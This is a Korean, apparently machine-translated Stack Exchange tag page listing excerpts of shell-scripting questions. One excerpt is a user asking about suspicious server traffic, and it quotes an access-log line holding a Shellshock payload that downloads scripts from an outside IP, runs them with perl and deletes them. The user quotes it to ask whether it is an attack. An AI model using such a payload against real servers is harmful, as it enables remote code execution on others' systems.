«shell-script» 태그된 질문

쉘 스크립트는 운영 체제의 쉘 또는 명령 행 인터프리터 용으로 작성된 스크립트입니다.


8
Windows에서 쉘 스크립트를 어떻게 실행할 수 있습니까? [복제]
이 질문에는 이미 답변이 있습니다 . Windows에서 .sh 파일을 실행하는 방법은 무엇입니까? (15 답변) 휴일 2 년 전 . 이 질문은 수퍼 유저에게 답변 할 수 있기 때문에 스택 오버플 로 에서 마이그레이션 되었습니다. 7 년 전에 이주했습니다 . 저는 Mac 사용자이고 Windows를 처음 사용합니다. Windows에서 쉘 스크립트를 어떻게 실행할 …

3
이것이 공격이거나 우려 할만한 것입니까? 쉘 쇼크?
access.log내 테스트 서버 에서 이것을 보았습니다 . > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" 어떤 주소도 나 또는 우리의 IP 범위와 관련이 없습니다 (또는 그 …

7
터미널 창이 나타나지 않고 OS X에서 쉘 스크립트를 실행 하시겠습니까?
BetterTouchTool과 약간의 AppleScript 마법으로 할 수있는 특정 iTerm 세션을 여는 몇 가지 키보드 단축키를 설정하려고합니다. 문제는 OS X이 GUI를 통해 실행하는 쉘 스크립트 (예 : Finder 또는 BetterTouchTool의 키보드 단축키)에 대한 터미널 창을 열어야한다는 것입니다. 다른 터미널에서 직접 스크립트를 실행하면 터미널 창이 나타나지 않습니다. 내가 찾은 해결 방법은 스크립트를 .app …

3
커맨드 라인이나 스크립트에서 Mac의 아키텍처를 결정 하시겠습니까?
쉘 스크립트를 작성 중이며 PPC 또는 Intel과 같은 아키텍처를 알아야합니다. 당시에는 / bin / arch 프로그램이 있었지만 내 Mac에는없는 것 같습니다. 내가 할 수있는 쉬운 방법이 있습니까? 로그 파일에서 무언가를 원하십니까? 부작용으로 뱉어내는 다른 프로그램을 불러? 내가 실행중인 OS 버전을 아는 것이 좋지만, 필요하지 않을 수도 있습니다.


7
ssh와 ssh를 통한 쉘 : 종료하는 방법?
다음과 같이 SSH를 통해 먼 스크립트를 시작합니다. ssh user@ipaddress '~/my_script.sh' 모든 것이 잘 진행되지만 스크립트가 완료되면 연결이 닫히지 않습니다. 현재 연결을 끊으려면 CTRL-C를 눌러야합니다. '~ / my_script.sh'에서 "exit"명령을 시도했지만 쓸모가 없습니다. '~ / my_script.sh'에서 "logout"명령을 시도했는데 메시지가 나타납니다. logout: not login shell: use exit ... 스크립트가 완료되면 SSH를 자동으로 올바르게 …
22 bash  ssh  shell-script 


1
Bash : 선택적으로 인수를 명령에 전달
다른 변수에 따라 명령 호출에 인수를 추가하려고합니다. 쉘 스크립팅 코드를보십시오 : curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com 이 예에서 titlenull이 제공되지 않으면에 인수가 추가됩니다 curl. title공백이 있으면 올바르게 작동하지 않습니다 . 또한 null이면에 예기치 않은 빈 인수가 생성 $(...)되므로 따옴표로 묶을 수 없습니다 .titlecurl …

4
모든 스크립트에 * .sh 및 * .rb 파일 확장자를 사용해야합니까?
$ HOME / bin 디렉토리에 수동으로 실행되는 실행 스크립트가 많이 있습니다. 일부는 bash로 작성되고 일부는 Ruby로 작성됩니다. 그들 모두는 쉘에 사용할 인터프리터 (내 경우에는 bash 또는 Ruby)를 알려주는 맨 위에 shebang 줄이 있습니다. 작성된 스크립트 언어를 나타 내기 위해 이러한 스크립트에 파일 확장자를 추가하는 것이 더 좋은지 궁금합니다. 예를 들어 …


2
모든 쉘에서 실행될 쉘 스크립트 작성 (여러 shebang 행을 사용합니까?)
방금 셸 스크립팅에 대해 더 깊이 시작하기 시작했으며 항상 스크립트를 파일에 던져 표시하고 chmod +x완료 한 다음 /path/to/script.sh기본 인터프리터가 그 방법을 갖도록했습니다 .zsh라고 가정했습니다. 나는 껍질에 사용했다. 분명히 /bin/shzsh 프롬프트에서 스크립트를 실행하더라도 스크립트에 zsh 관련 항목을 넣기 시작했고 실행하지 않으면 실패하기 때문에 기본적으로있는 것 같습니다 zsh /path/to/script.sh. 요점을 알려면 다음과 …


4
bash에서 작은 따옴표로 묶은 문자열에서 아포스트로피를 어떻게 피합니까?
bash가 작은 따옴표로 묶은 문자열에서 아포스트로피 문자 이스케이프를 평가하는 방법을 이해하지 못합니다. 예를 들면 다음과 같습니다. $ echo ''\''Hello World'\''' 'Hello World' # works $ echo '\'Hello World\'' > # expects you to continue input 이것에 대한 설명을 찾으려고했지만 아무것도 얻을 수 없었습니다. bash는 여기서 무엇을하고 있습니까?

1
매우 긴 단어 줄을 최대 길이의 개별 줄로 나눕니다.
공백으로 구분 된 하나의 긴 줄에 패키지 목록을 출력하는 스크립트가 있습니다. 이 줄에 포함 된 정보는 텍스트 파일에 삽입되어 나중에 사용자에게 제공됩니다. 긴 줄을 정의 된 최대 길이 (예 : 80 자)로 여러 줄로 나누고 싶지만 분할은 공백에서만 발생해야합니다 (따라서 정확히 80 자 뒤에 공백이 없으면 다음 줄이 만들어지면 일부 …

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.